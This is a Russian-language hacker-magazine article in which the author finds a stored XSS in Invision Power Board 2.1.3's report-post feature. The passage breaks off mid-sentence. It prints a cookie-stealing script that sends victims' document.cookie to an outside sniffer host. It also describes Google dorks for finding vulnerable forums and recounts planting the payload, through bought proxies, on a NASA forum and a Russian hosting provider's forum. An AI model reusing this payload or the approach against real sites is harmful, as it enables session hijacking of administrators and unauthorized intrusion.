Резня бензопилой Fear (fear@cyberlords.net) Хакер, номер #088, стр. 088-068-1 Большая дыра популярного форума Ты уже много наслышан про баги в таких монстрах форумной "индустрии", как IPB, phpBB, vBulletin и т.д. Буквально каждый месяц в них находят множество уязвимостей. И, казалось бы, безопасность таких движков должна увеличиваться в геометрической прогрессии, но вместо этого производители выпускают все новые и новые версии форумов с недостаточным тестированием на уязвимости. Что, скажешь не так? Хорошо, я попытаюсь тебя в этом переубедить. [в поисках жертвы] Был холодный зимний день. Выходить на улицу совсем не хотелось, поэтому я врубил свой ноутбук. В аське почти все были оффлайне, и я решил заняться полезным делом - поиском багов :). Благо в тот момент у меня был архив с десятком разнообразных движков, так что я начал осмотр "пациентов". Улов был совсем невелик - парочка пассивных xss, и все. Но тут я вспомнил про один известный форум, который лежал у меня в отдельном архиве. Это был Invision Power Board 2.1.3. [возможно все] Но настроение от этого не улучшилось. Наверняка движок уже тестили сотни "сетевых отморозков", и найти багу тут будет нелегко. Так вначале и было. Я изменял значения параметров везде, где только можно, вставлял одинарную кавычку во все переменные, конструкцию <script>alert()</script>, но нигде не было ошибок. Пока я не обнаружил кнопку для жалобы на сообщение. Любой юзер, нажав туда, может написать причину, по которой ему не нравится данное сообщение. Потом это сообщение попадает ко всем модерам и админам форума. Как говорится, надежда умирает последней. Я, без какой-либо на то надежды, вставил строку <script>alert()</script>. Именно тут и скрывался баг - выскочил алерт. Теперь оставалось составить простенький java-скрипт для кражи кукисов, что у меня получилось довольно быстро: <script>img = new Image(); img.src = "http://antichat.org/s/mysniff.gif?"+document.cookie;</script> Как ты уже понял, фильтрации не было вовсе. Как это упустили программисты IPB – не понимаю. Пришло время испробовать уязвимость на практике. Закупив список свежих проксиков, я ринулся в бой. Ломать какие-то простенькие форумы мне не хотелось - если играть, то играть по-крупному. Поэтому в поисковик я забил строку "Powered by Invision Power Board site:gov". Google выдал достаточно ссылок, но рабочих оказалось всего две, и обе вели на сервер NASA. Я зашел на форум, зарегился (зачастую на форумах в зоне "gov" регистрация закрыта, либо письмо для активации совсем не приходит) и пожаловался на произвольное сообщение. Тупо вставлять один лишь java-код было-бы слишком рискованно, поэтому я быстро написал, как мне показалось, правдоподобное сообщение и нажал "Отослать". В конце текста как бы невзначай вставил строчку: <script>img = new Image(); img.src = "http://antichat.org/s/mysniff.gif?"+document.cookie;</script>" Прошло несколько дней.... В итоге куки ко мне так и не приплыли. Скорее всего, админ вообще не заходил на форум. Ладно, поищем другие форумы. Немного подумав, я решил поискать хостера с уязвимым форумом. В поисковик забил следующее: "Powered by Invison Power Board Наш хостинг .ru". Вторая выданная ссылка вела на некий Viahost. Я быстро зарегистрировался и опять пожаловался на рандомное сообщение. Текст жалобы: |